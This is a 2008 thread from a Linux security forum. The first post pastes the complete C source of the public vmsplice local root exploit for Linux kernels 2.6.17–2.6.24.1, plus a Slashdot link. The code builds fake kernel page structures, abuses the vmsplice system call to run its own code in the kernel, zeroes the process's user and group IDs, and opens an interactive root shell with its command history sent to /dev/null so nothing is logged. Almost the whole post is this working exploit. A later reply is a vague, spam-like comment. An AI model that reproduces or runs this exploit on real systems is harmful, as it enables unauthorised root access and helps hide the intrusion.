linux security hole affecting 2.6.17-2.6.24 kernels

Linux security discussion forum.

linux security hole affecting 2.6.17-2.6.24 kernels

Postby james on February 11th, 2008, 11:11 am

see here http://it.slashdot.org/article.pl?sid=08/02/10/2011257
Code: Select all
/*
* jessica_biel_naked_in_my_bed.c
*
* Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.
* Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca.
* Stejnak je to stare jak cyp a aj jakesyk rozbite.
*
* Linux vmsplice Local Root Exploit
* By qaaz
*
* Linux 2.6.17 - 2.6.24.1
*
* This is quite old code and I had to rewrite it to even compile.
* It should work well, but I don't remeber original intent of all
* the code, so I'm not 100% sure about it. You've been warned ;)
*
* -static -Wno-format 
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>
#include <limits.h>
#include <signal.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/mman.h>
#include <asm/page.h>
#define __KERNEL__
#include <asm/unistd.h>

#define PIPE_BUFFERS   16
#define PG_compound   14
#define uint      unsigned int
#define static_inline   static inline __attribute__((always_inline))
#define STACK(x)   (x + sizeof(x) - 40)

struct page {
   unsigned long flags;
   int count;
   int mapcount;
   unsigned long private;
   void *mapping;
   unsigned long index;
   struct { long next, prev; } lru;
};

void   exit_code();
char   exit_stack[1024 * 1024];

void   die(char *msg, int err)
{
   printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
   fflush(stdout);
   fflush(stderr);
   exit(1);
}

#if defined (__i386__)

#ifndef __NR_vmsplice
#define __NR_vmsplice   316
#endif

#define USER_CS      0x73
#define USER_SS      0x7b
#define USER_FL      0x246

static_inline
void   exit_kernel()
{
   __asm__ __volatile__ (
   "movl %0, 0x10(%%esp) ;"
   "movl %1, 0x0c(%%esp) ;"
   "movl %2, 0x08(%%esp) ;"
   "movl %3, 0x04(%%esp) ;"
   "movl %4, 0x00(%%esp) ;"
   "iret"
   : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
       "i" (USER_CS), "r" (exit_code)
   );
}

static_inline
void *   get_current()
{
   unsigned long curr;
   __asm__ __volatile__ (
   "movl %%esp, %%eax ;"
   "andl %1, %%eax ;"
   "movl (%%eax), %0"
   : "=r" (curr)
   : "i" (~8191)
   );
   return (void *) curr;
}

#elif defined (__x86_64__)

#ifndef __NR_vmsplice
#define __NR_vmsplice   278
#endif

#define USER_CS      0x23
#define USER_SS      0x2b
#define USER_FL      0x246

static_inline
void   exit_kernel()
{
   __asm__ __volatile__ (
   "swapgs ;"
   "movq %0, 0x20(%%rsp) ;"
   "movq %1, 0x18(%%rsp) ;"
   "movq %2, 0x10(%%rsp) ;"
   "movq %3, 0x08(%%rsp) ;"
   "movq %4, 0x00(%%rsp) ;"
   "iretq"
   : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
       "i" (USER_CS), "r" (exit_code)
   );
}

static_inline
void *   get_current()
{
   unsigned long curr;
   __asm__ __volatile__ (
   "movq %%gs:(0), %0"
   : "=r" (curr)
   );
   return (void *) curr;
}

#else
#error "unsupported arch"
#endif

#if defined (_syscall4)
#define __NR__vmsplice   __NR_vmsplice
_syscall4(
   long, _vmsplice,
   int, fd,
   struct iovec *, iov,
   unsigned long, nr_segs,
   unsigned int, flags)

#else
#define _vmsplice(fd,io,nr,fl)   syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#endif

static uint uid, gid;

void   kernel_code()
{
   int   i;
   uint   *p = get_current();

   for (i = 0; i < 1024-13; i++) {
      if (p[0] == uid && p[1] == uid &&
          p[2] == uid && p[3] == uid &&
          p[4] == gid && p[5] == gid &&
          p[6] == gid && p[7] == gid) {
         p[0] = p[1] = p[2] = p[3] = 0;
         p[4] = p[5] = p[6] = p[7] = 0;
         p = (uint *) ((char *)(p + 8) + sizeof(void *));
         p[0] = p[1] = p[2] = ~0;
         break;
      }
      p++;
   }   

   exit_kernel();
}

void   exit_code()
{
   if (getuid() != 0)
      die("wtf", 0);

   printf("[+] root\n");
   putenv("HISTFILE=/dev/null");
   execl("/bin/bash", "bash", "-i", NULL);
   die("/bin/bash", errno);
}

int   main(int argc, char *argv[])
{
   int      pi[2];
   size_t      map_size;
   char *      map_addr;
   struct iovec   iov;
   struct page *   pages[5];

   uid = getuid();
   gid = getgid();
   setresuid(uid, uid, uid);
   setresgid(gid, gid, gid);

   printf("-----------------------------------\n");
   printf(" Linux vmsplice Local Root Exploit\n");
   printf(" By qaaz\n");
   printf("-----------------------------------\n");

   if (!uid || !gid)
      die("!@#$", 0);

   /*****/
   pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
   pages[1] = pages[0] + 1;

   map_size = PAGE_SIZE;
   map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
                   MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
   if (map_addr == MAP_FAILED)
      die("mmap", errno);

   memset(map_addr, 0, map_size);
   printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
   printf("[+] page: 0x%lx\n", pages[0]);
   printf("[+] page: 0x%lx\n", pages[1]);

   pages[0]->flags    = 1 << PG_compound;
   pages[0]->private  = (unsigned long) pages[0];
   pages[0]->count    = 1;
   pages[1]->lru.next = (long) kernel_code;

   /*****/
   pages[2] = *(void **) pages[0];
   pages[3] = pages[2] + 1;

   map_size = PAGE_SIZE;
   map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
                   MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
   if (map_addr == MAP_FAILED)
      die("mmap", errno);

   memset(map_addr, 0, map_size);
   printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
   printf("[+] page: 0x%lx\n", pages[2]);
   printf("[+] page: 0x%lx\n", pages[3]);

   pages[2]->flags    = 1 << PG_compound;
   pages[2]->private  = (unsigned long) pages[2];
   pages[2]->count    = 1;
   pages[3]->lru.next = (long) kernel_code;

   /*****/
   pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
   map_size = PAGE_SIZE;
   map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
                   MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
   if (map_addr == MAP_FAILED)
      die("mmap", errno);
   memset(map_addr, 0, map_size);
   printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
   printf("[+] page: 0x%lx\n", pages[4]);

   /*****/
   map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
   map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
                   MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
   if (map_addr == MAP_FAILED)
      die("mmap", errno);

   memset(map_addr, 0, map_size);
   printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);

   /*****/
   map_size -= 2 * PAGE_SIZE;
   if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
      die("munmap", errno);

   /*****/
   if (pipe(pi) < 0) die("pipe", errno);
   close(pi[0]);

   iov.iov_base = map_addr;
   iov.iov_len  = ULONG_MAX;

   signal(SIGPIPE, exit_code);
   _vmsplice(pi[1], &iov, 1, 0);
   die("vmsplice", errno);
   return 0;
}

// milw0rm.com [2008-02-09]
james
Member
 
Posts: 18
Joined: January 18th, 2008, 2:27 pm

Re: linux security hole affecting 2.6.17-2.6.24 kernels

Postby jhonkevin on July 28th, 2010, 3:41 am

Security is most important things in current days. Linux OS can give high security over windows Xp. Nice information from you. My suggestion his just formate your computer and re install it. Its so easy for you otherwise its create more problem.
jhonkevin
New Member
 
Posts: 5
Joined: July 28th, 2010, 3:34 am


Return to Security

Who is online

Users browsing this forum: No registered users and 0 guests

cron

dsplabs homelinux bloglinux forums new!travel photography
©2010 dsplabs.com.au